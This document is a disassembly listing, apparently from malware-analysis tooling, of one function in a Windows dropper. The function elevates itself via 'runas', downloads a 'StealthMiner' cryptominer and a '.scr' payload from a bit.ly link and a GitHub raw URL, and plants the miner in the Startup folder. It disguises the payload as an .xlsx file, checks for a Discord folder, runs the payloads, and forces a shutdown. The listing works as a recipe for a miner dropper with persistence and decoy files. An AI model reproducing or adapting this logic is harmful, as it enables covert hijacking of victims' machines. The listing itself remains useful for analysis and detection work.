Function at 0x1400022d0
Capabilities:
Check if file exists
Create process on windows
Get file attributes
Get token membership
Move file
Query environment variable
Shutdown system

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
lea rbp, [rax - 0x548]
sub rsp, 0x640
movaps xmmword [rax - 0x18], xmm6
mov rax, qword [0x140033080]
xor rax, rsp
mov qword [rbp + 0x520], rax
xor esi, esi
mov dword [rbp - 0x18], esi
mov qword [rsp + 0x60], rsi
mov dword [rbp - 0x20], esi
mov word [rbp - 0x1c], 0x500
lea rax, [rsp + 0x60]
mov qword [rsp + 0x50], rax
mov dword [rsp + 0x48], esi
mov dword [rsp + 0x40], esi
mov dword [rsp + 0x38], esi
mov dword [rsp + 0x30], esi
mov dword [rsp + 0x28], esi
mov dword [rsp + 0x20], esi
mov r9d, 0x220
mov r8d, 0x20
mov dl, 2
lea rcx, [rbp - 0x20]
call qword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
je 0x140002377
lea r8, [rbp - 0x18]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
test eax, eax
jne 0x14000236c
mov dword [rbp - 0x18], esi
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.ADVAPI32.dll_FreeSid]
cmp dword [rbp - 0x18], 1
je 0x1400023ea
mov r8d, 0x104
lea rdx, [rbp + 0x310]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
movups xmmword [rbp - 0x80], xmm0
movups xmmword [rbp - 0x70], xmm0
movups xmmword [rbp - 0x60], xmm0
movups xmmword [rbp - 0x50], xmm0
movups xmmword [rbp - 0x40], xmm0
movups xmmword [rbp - 0x30], xmm0
mov dword [rsp + 0x70], 0x70
lea rax, str.runas
mov qword [rbp - 0x80], rax
lea rax, [rbp + 0x310]
mov qword [rbp - 0x78], rax
mov ebx, 1
mov dword [rbp - 0x60], ebx
lea rcx, [rsp + 0x70]
call qword [sym.imp.SHELL32.dll_ShellExecuteExW]
xor eax, eax
jmp 0x140002963
lea rdx, str.https:__bit.ly_MINERZS
lea rcx, [rbp + 0xe0]
call fcn.140003bd0
nop
lea rdx, str._appdata_MicrosoftWindowsStart_MenuProgramsStartupStealthMiner.exe
lea rcx, [rbp + 0x80]
call fcn.140003bd0
nop
lea rdx, str.https:__github.com_skibidzaa_pr_raw_main_dokument.scr
lea rcx, [rbp + 0xc0]
call fcn.140003bd0
nop
lea rdx, str.C:WindowsTempdokument.scr
lea rcx, [rbp + 0x30]
call fcn.140003bd0
nop
lea rdx, str.C:WindowsTemp_regneark.xlsx
lea rcx, [rbp + 0x10]
call fcn.140003bd0
nop
lea rcx, [rbp + 0x80]
cmp qword [rbp + 0x98], 7
cmova rcx, qword [rbp + 0x80]
mov r8d, 0x104
lea rdx, [rbp + 0x100]
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
lea rdx, [rbp + 0x100]
lea rcx, [rbp + 0x60]
call fcn.140003bd0
nop
lea rdx, str._appdata_discord
lea rcx, [rbp - 0x10]
call fcn.140003bd0
nop
lea rcx, [rbp - 0x10]
cmp qword [rbp + 8], 7
cmova rcx, qword [rbp - 0x10]
mov r8d, 0x104
lea rdx, [rbp + 0x100]
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
lea rax, [rbp + 0x100]
mov rdx, 0xffffffffffffffff
inc rdx
cmp word [rax + rdx*2], 0
jne 0x1400024c3
mov rax, qword [rbp + 8]
cmp rdx, rax
ja 0x140002503
lea rdi, [rbp - 0x10]
cmp rax, 7
cmova rdi, qword [rbp - 0x10]
mov qword [rbp], rdx
lea rbx, [rdx + rdx]
mov r8, rbx
lea rdx, [rbp + 0x100]
mov rcx, rdi
call fcn.1400215e0
mov word [rbx + rdi], si
jmp 0x140002513
lea r9, [rbp + 0x100]
lea rcx, [rbp - 0x10]
call fcn.1400050f0
lea rcx, [rbp - 0x10]
cmp qword [rbp + 8], 7
cmova rcx, qword [rbp - 0x10]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
movdqa xmm6, xmmword [0x14002d760]
cmp eax, 0xffffffff
je 0x1400026d1
test al, 0x10
je 0x1400026d1
lea rdx, str.C:WindowsTempStealthMiner.exe
lea rcx, [rbp + 0xa0]
call fcn.140003bd0
nop
lea rdx, [rbp + 0xa0]
lea rcx, [rbp + 0xe0]
call fcn.140001da0
mov ebx, 1
test al, al
je 0x14000267a
lea rdx, [rbp + 0x30]
lea rcx, [rbp + 0xc0]
call fcn.140001da0
test al, al
je 0x14000267a
lea rdx, [rbp + 0x10]
cmp qword [rbp + 0x28], 7
cmova rdx, qword [rbp + 0x10]
lea rcx, [rbp + 0x30]
cmp qword [rbp + 0x48], 7
cmova rcx, qword [rbp + 0x30]
call qword [sym.imp.KERNEL32.dll_MoveFileW]
test eax, eax
je 0x14000267a
lea rcx, [rbp + 0xa0]
call fcn.1400020f0
test al, al
je 0x14000267a
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
movups xmmword [rbp - 0x80], xmm0
movups xmmword [rbp - 0x70], xmm0
movups xmmword [rbp - 0x60], xmm0
movups xmmword [rbp - 0x50], xmm0
movups xmmword [rbp - 0x40], xmm0
movups xmmword [rbp - 0x30], xmm0
mov dword [rsp + 0x70], 0x70
lea rax, [rbp + 0x60]
cmp qword [rbp + 0x78], 7
cmova rax, qword [rbp + 0x60]
mov qword [rbp - 0x78], rax
mov dword [rbp - 0x60], esi
lea rax, str.runas
mov qword [rbp - 0x80], rax
lea rcx, [rsp + 0x70]
call qword [sym.imp.SHELL32.dll_ShellExecuteExW]
test eax, eax
je 0x14000267a
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
movups xmmword [rbp - 0x80], xmm0
movups xmmword [rbp - 0x70], xmm0
movups xmmword [rbp - 0x60], xmm0
movups xmmword [rbp - 0x50], xmm0
movups xmmword [rbp - 0x40], xmm0
movups xmmword [rbp - 0x30], xmm0
mov dword [rsp + 0x70], 0x70
lea rax, [rbp + 0x10]
cmp qword [rbp + 0x28], 7
cmova rax, qword [rbp + 0x10]
mov qword [rbp - 0x78], rax
lea rax, str.open
mov qword [rbp - 0x80], rax
mov dword [rbp - 0x60], ebx
lea rcx, [rsp + 0x70]
call qword [sym.imp.SHELL32.dll_ShellExecuteExW]
test eax, eax
je 0x14000267a
mov ebx, esi
mov rdx, qword [rbp + 0xb8]
cmp rdx, 7
jbe 0x1400026c0
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0xa0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400026bb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002996
call fcn.140006550
movdqu xmmword [rbp + 0xb0], xmm6
mov word [rbp + 0xa0], si
jmp 0x14000274a
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea r8, [rsp + 0x60]
mov edx, 0x28
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x140002748
lea r8, [rbp + 0x54]
lea rdx, str.SeShutdownPrivilege
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
mov ebx, 1
mov dword [rbp + 0x50], ebx
mov dword [rbp + 0x5c], 2
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], rsi
mov r9d, 0x10
lea r8, [rbp + 0x50]
xor edx, edx
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
call qword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x140002748
xor edx, edx
mov ecx, 5
call qword [sym.imp.USER32.dll_ExitWindowsEx]
mov ebx, esi
mov rdx, qword [rbp + 8]
cmp rdx, 7
jbe 0x14000278a
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002785
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000299c
call fcn.140006550
mov qword [rbp], rsi
mov qword [rbp + 8], 7
mov word [rbp - 0x10], si
mov rdx, qword [rbp + 0x78]
cmp rdx, 7
jbe 0x1400027da
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400027d5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400029a2
call fcn.140006550
movdqu xmmword [rbp + 0x70], xmm6
mov word [rbp + 0x60], si
mov rdx, qword [rbp + 0x28]
cmp rdx, 7
jbe 0x140002823
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000281e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400029a8
call fcn.140006550
movdqu xmmword [rbp + 0x20], xmm6
mov word [rbp + 0x10], si
mov rdx, qword [rbp + 0x48]
cmp rdx, 7
jbe 0x14000286c
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002867
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400029ae
call fcn.140006550
movdqu xmmword [rbp + 0x40], xmm6
mov word [rbp + 0x30], si
mov rdx, qword [rbp + 0xd8]
cmp rdx, 7
jbe 0x1400028bb
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0xc0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400028b6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400029b4
call fcn.140006550
movdqu xmmword [rbp + 0xd0], xmm6
mov word [rbp + 0xc0], si
mov rdx, qword [rbp + 0x98]
cmp rdx, 7
jbe 0x140002910
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000290b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400029ba
call fcn.140006550
movdqu xmmword [rbp + 0x90], xmm6
mov word [rbp + 0x80], si
mov rdx, qword [rbp + 0xf8]
cmp rdx, 7
jbe 0x140002961
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0xe0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000295c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002990
call fcn.140006550
mov eax, ebx
mov rcx, qword [rbp + 0x520]
xor rcx, rsp
call fcn.140006530
lea r11, [rsp + 0x640]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
movaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop rbp
ret
call fcn.14000ddd8
nop
call fcn.14000ddd8
nop
call fcn.14000ddd8
nop
call fcn.14000ddd8
nop
call fcn.14000ddd8
nop
call fcn.14000ddd8
nop
call fcn.14000ddd8
nop
call fcn.14000ddd8
int3